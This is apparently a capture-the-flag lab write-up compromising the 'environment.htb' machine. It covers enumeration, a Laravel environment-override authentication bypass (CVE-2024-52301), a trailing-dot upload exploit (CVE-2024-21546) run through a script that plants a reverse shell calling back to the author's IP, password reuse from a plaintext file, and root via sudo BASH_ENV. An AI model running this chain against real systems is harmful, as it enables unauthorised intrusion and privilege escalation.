
Enumeration and Analysis
$ nmap 10.10.11.67
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -p22,80 -sV -sC 10.10.11.67
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap
scan on port 80
failed to redirect to domain name environment.htb
, so I added the domain to my /etc/hosts
:
$ sudo echo "10.10.11.67 environment.htb" >> /etc/hosts
$ nmap -p22,80 -sV -sC environment.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Save the Environment | environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The target looks to be a “save the environment” themed page, with a mailing list submission at the bottom:
Looking at the page source code, the submission includes a anti CSRF token:
document.getElementById('mailingListForm').addEventListener('submit', async function(event) {
event.preventDefault(); // Prevent the default form submission behavior
const email = document.getElementById('email').value;
const csrfToken = document.getElementsByName("_token")[0].value;
const responseMessage = document.getElementById('responseMessage');
try {
const response = await fetch('/mailing', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: "email=" + email + "&_token=" + csrfToken,
});
if (response.ok) {
const data = await response.json();
responseMessage.textContent = data.message; // Display success message
responseMessage.style.color = 'greenyellow';
} else {
const errorData = await response.json();
responseMessage.textContent = errorData.message || 'An error occurred.';
responseMessage.style.color = 'red';
}
} catch (error) {
responseMessage.textContent = 'Failed to send the request.';
responseMessage.style.color = 'red';
}
});
I did some sqlmap
scans on the email field and VHOST discovery but got nothing out of it. Looking up resource paths directly on the target domain, I made some interesting discoveries:
$ ffuf -w ~/Repos/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -ic -u http://environment.htb/FUZZ -e .php -t 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://environment.htb/FUZZ
:: Wordlist : FUZZ: /home/kali/Repos/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 500
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
login [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 901ms]
index.php [Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 1247ms]
[Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 1532ms]
storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 334ms]
upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 3304ms]
up [Status: 200, Size: 2125, Words: 745, Lines: 51, Duration: 3098ms]
logout [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 3252ms]
vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 33ms]
build [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 34ms]
mailing [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 3370ms]
[Status: 200, Size: 4602, Words: 965, Lines: 88, Duration: 4962ms]
%2ejp [Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
:: Progress: [2547638/2547638] :: Job [1/1] :: 180 req/sec :: Duration: [4:05:48] :: Errors: 0 ::
Directly accessing the /upload
page, a error screen leaking internal information is displayed:
This tells me that the page is running on Laravel 11.30.0
, and with a little Google search I was able to find…
CVE-2024-52301
According to this page. This vulnerability allows for environment manipulation on Laravel, meaning that if the code incorporates any kind of special local testing code (file upload, resource retrieval, …) it can be exploited on the prod environment.
The user @Nyamort did a great deep dive on the issue this repository. The vulnerability is due to where Laravel sources it’s environment information, by reading the --env
property directly from $_SERVER['argv']
, it allows the web server to overwrite these configurations.
Exploiting the login page
When forcing an error on the login attempt while specifying an environment different than the default, the page leaks back the source code from the debug stacktrace. In this case, I’m passing the invalid value “banana” to the remember
parameter, which is of boolean type:
POST /login?--env=local HTTP/1.1
Host: environment.htb
...
Cookie: XSRF-TOKEN=...; laravel_session=...
_token=...&email=admin%40environment.htb&remember=banana&password=aaa
The response show that there is a authentication bypass on the environment “preprod”. Meaning that we can create an admin (assuming id 1) session token by specifying the environment.
This gives access to the management dashboard:
Exploiting the management dashboard
The management dashboard allows the user to upload a new profile picture:
When uploading a new profile picture:
- The pictures are uploaded to
/storage/files
;- Files on this directory are not executed, just returned;
-
.php
extension is blocked, but other valid variations like.pHp
,.php5
are allowed; - The request content mime-type is not checked;
- The file type is determine based on the file contents;
- Magic bytes can be used to confuse the upload mechanism;
- GIF magic bytes
GIF89a
cause less destruction to the code;
- File name with path traversal is filtered;
- File is accessed directly on img src, no
include
call to embed content on the page; - SVG mime-type is not allowed;
- MVG mime-type is not allowed;
- ExifTool metadata injection didn’t work.
In the end, and quick “laravel file upload exploit” Google search was all it took. CVE-2024-21546 is a vulnerability explicitly on feature from Laravel.
CVE-2024-21546
This vulnerability is due to an improper implementation of the file extension filters. This commit shows exactly the faulty regex that ignores an “.” at the end of the file extension, allowing the upload of a file named like: filename.php.
, making for an easy web
shell. I found this repo by @ajdumanhug that provides a one liner reverse shell:
$ ./venv/bin/python CVE-2024-21546/CVE-2024-21546.py http://environment.htb/ <tun0 ip> 5000 <laravel session>
[*] Validating session...
[+] Session is valid.
[*] Fetching CSRF token...
[+] Got CSRF token: JG6XVXdxp5VJQTx4QCtwcPg1haUDfR11dSWnB5lc
[*] Uploading reverse shell...
[+] Upload status: 200
{"url":"http:\/\/environment.htb\/storage\/files\/gd2qpx.php","uploaded":"http:\/\/environment.htb\/storage\/files\/gd2qpx.php"}
[+] Triggering the reverse shell...
[+] Done. If listener is up, you should have a shell.
Establishing a foothold
When looking for useful files I was able to pinpoint the location of the user flag:
www-data@environment:~/app/storage/app/public/files$ find / -name *.txt 2>/dev/null
...
/home/hish/user.txt
www-data@environment:~/app/storage/app/public/files$ cat /home/hish/user.txt
<user flag>
I was also able to find a file called “message.txt” under the /tmp
directory:
www-data@environment:~/app/storage/app/public/files$ cat /tmp/message.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
Checking for password reuse with the user hish
:
$ ssh [email protected]
[email protected]'s password:
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
...
hish@environment:~$
I’m in 😎.
Privilege escalation
Checking for any executables with SUID:
hish@environment:~$ sudo -l
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
Looks like that the user can execute systeminfo
with sudo permissions:
hish@environment:~$ sudo systeminfo
### Displaying kernel ring buffer logs (dmesg) ###
[ 4.408971] vmwgfx 0000:00:0f.0: [drm] Using command buffers with DMA pool.
[ 4.408979] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[ 4.410100] [drm] Initialized vmwgfx 2.20.0 20211206 for 0000:00:0f.0 on minor 0
[ 4.412265] fbcon: vmwgfxdrmfb (fb0) is primary device
[ 4.412729] Console: switching to colour frame buffer device 160x50
[ 4.414175] vmwgfx 0000:00:0f.0: [drm] fb0: vmwgfxdrmfb frame buffer device
[ 5.069654] auditfilter: audit rule for LSM 'crond_t' is invalid
[ 5.069697] auditfilter: audit rule for LSM 'crond_t' is invalid
[ 5.874212] vmxnet3 0000:03:00.0 eth0: intr type 3, mode 0, 3 vectors allocated
[ 5.878054] vmxnet3 0000:03:00.0 eth0: NIC Link is Up 10000 Mbps
...
### Checking disk usage for all filesystems ###
Filesystem Size Used Avail Use% Mounted on
udev 1.9G 0 1.9G 0% /dev
tmpfs 392M 696K 391M 1% /run
/dev/sda1 3.8G 1.6G 2.1G 43% /
tmpfs 2.0G 0 2.0G 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 392M 0 392M 0% /run/user/1000
Looks to be a simple script that calls different system commands:
hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10
echo -e "\n### Checking system-wide open ports ###"
ss -antlp
echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t
echo -e "\n### Checking system resource limits ###"
ulimit -a
echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10
echo -e "\n### Checking disk usage for all filesystems ###"
df -h
Understanding secure_path and env_keep
The source code for systeminfo
doesn’t reference full paths to the used binaries (dmesg
, tail
, …), so my initial idea was to overwrite $PATH
to include a reference to /tmp
at the beginning. Meaning that when the system is looking for those binaries, it would start there and give me the chance to execute a file as sudo
by simply naming my command the same:
hish@environment:~$ which tail
/usr/bin/tail
hish@environment:~$ echo "/bin/bash" > /tmp/tail
hish@environment:~$ which tail
/usr/bin/tail
hish@environment:~$ chmod +x /tmp/tail
hish@environment:~$ which tail
/tmp/tail
But the environment has a secure_path
path setting set, meaning that this pre configured path will be used instead of the user defined path.
The downfall here is the use of the setting env_keep
. This is a setting to keep the defined environment variables when preparing to run sudo (ex: using a pre-defined PATH value).
So, if I point BASH_ENV
to my “malicious” executable, is will be carried over and sourced:
hish@environment:~$ export BASH_ENV=/tmp/tail
hish@environment:~$ sudo systeminfo
root@environment:/home/hish# id
uid=0(root) gid=0(root) groups=0(root)
root@environment:/home/hish# cat /root/root.txt
<root flag>
Review
This was my first medium difficulty machine, and I can say it was a very enjoyable experience. I approached it thinking it would be much harder than it really was, and I ended up going into some rabbit holes because of that. I learned how to use the “match and replace” feature from BurpSuite
to avoid manually getting a new cookie every time the old one expired. And the whole post exploit fingerprinting was much easier this time due to experience.